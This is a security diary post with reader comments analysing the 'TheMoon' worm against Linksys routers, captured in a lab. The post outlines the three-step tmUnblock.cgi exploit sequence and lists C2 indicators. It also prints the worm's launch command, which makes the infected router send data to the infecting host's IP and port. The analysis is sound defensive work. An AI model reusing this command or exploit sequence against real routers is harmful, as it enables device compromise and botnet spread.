More Details About "TheMoon" Linksys Worm
Using a vulnerable Linksys E1200 router in a lab, I was finally able to capture the complete (?) sequence of exploits used by the Linksys Worm "TheMoon".
The quick summary of what I found so far:
- The complete sequence uses three exploits, all exploiting the same vulnerable script "tmUnblock.cgi"
- Initially, the worm binary is uploaded to the vulnerable router
- Next, the binary is renamed to "/tmp/Gerty" and made executable
- the third request starts "Gerty" and passes the infecting IP as parameters. Gerty will send a request to this IP, likely to confirm that it was launched.
I did not see any configuration changes in the router (password, DNS...)
As we wrote earlier, the initial "HNAP1" request is just used to fingerprint the router to figure out if it is vulnerable.
The worm sends a number of DNS queries:
- one A query for 83.219.168.0/24 (this doesn't really make sense, and is likely a bug. This is the network range that is then scanned)
- A queries for ruhmanadin.dyndns.org which in my case resolved to 139.194.237.79. I did not see any connections to this IP. I suspect that this is an IP address used to report successful exploitation.
The "Gerty" binary checks in with the host the infection comes from. The ports are send as parameters. In my case, the complete command was:
cd /tmp/;./Gerty -L 24.205.94.32:8080:9841 -u xxxxxx
As a result, the connection went to port 9841 at 24.205.94.32. About 1.4MBytes are sent, most of it binary. But there are a few readable strings like a timestamp, the SSID of the router and the string "Lunar Industries LTD".
For a full pcap of the activity, see https://isc.sans.edu/diaryimages/moon.pcap . I tried to anonymize the pcap as much as possible, but some of the IPs were left intact. If you find anything else, please let me know. Note that the pcap includes a capture of the binary file as well (look for the http traffic on port 700). To protect others, I redirected all outbound port 80/8080 traffic to a sinkhole which may cause some artifacts.
------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter
Network Monitoring and Threat Detection In-Depth | Singapore | Nov 18th - Nov 23rd 2024 |
Comments
http://kb.linksys.com/Linksys/ukp.aspx?pid=80&app=vw&vw=1&login=1&json=1&docid=56b6de2449fd497bb8d1354860f50b76_How_to_prevent_getting_The_Moon_malware.xml
Anonymous
Feb 18th 2014
1 decade ago
Anonymous
Feb 19th 2014
1 decade ago
Anonymous
Feb 19th 2014
1 decade ago
A "Shields Up" test revealed no vulnerability, but for days I have been getting port scans followed by SYN FLOODs to my main PC. Yesterday the log showed "IP packet" type entries with connection drops followed by LAN SIDE SYN FLOODS targetted at different IPs around the world. I am seriously wondering if this is indeed the Moon worm on my old unit with stock firmware.
Anonymous
Feb 19th 2014
1 decade ago
A "Shields Up" test revealed no vulnerability, but for days I have been getting port scans followed by SYN FLOODs to my main PC. Yesterday the log showed "IP packet" type entries with connection drops followed by LAN SIDE SYN FLOODS targetted at different IPs around the world. I am seriously wondering if this is indeed the Moon worm on my old unit with stock firmware.[/quote]
I think its highly unlikely its the same vulnerability on the WCG200. The vulnerabile Linksys routers are linux based routers with specific vulnerabilities in the closed source minihttpd daemon. While the WCG200 is running some version of vxworks. As far as I can tell the vulnerability being exploited only exists on hardware running a linux kernel, with specific chipsets and some specific closed source code. So I doubt it would work against any of the vxworks based units.
Anonymous
Feb 19th 2014
1 decade ago
On some users I have recommended that they reflash the firmware and do a factory reset on the device to make sure. But many of the devices don't have firmware that is downloadable from linksys. As linksys doesn't release the "shipped" firmware files just the updated ones. So if there hasn't been an update since the device shipped then there isn't a firmware file to install.
Anonymous
Feb 19th 2014
1 decade ago
I design electronic hardware and I was surprised that they kept changing the processor and the firmware at almost every revision. So there is a possibility that some are running VX and some Linux depending on the production run.
Anonymous
Feb 19th 2014
1 decade ago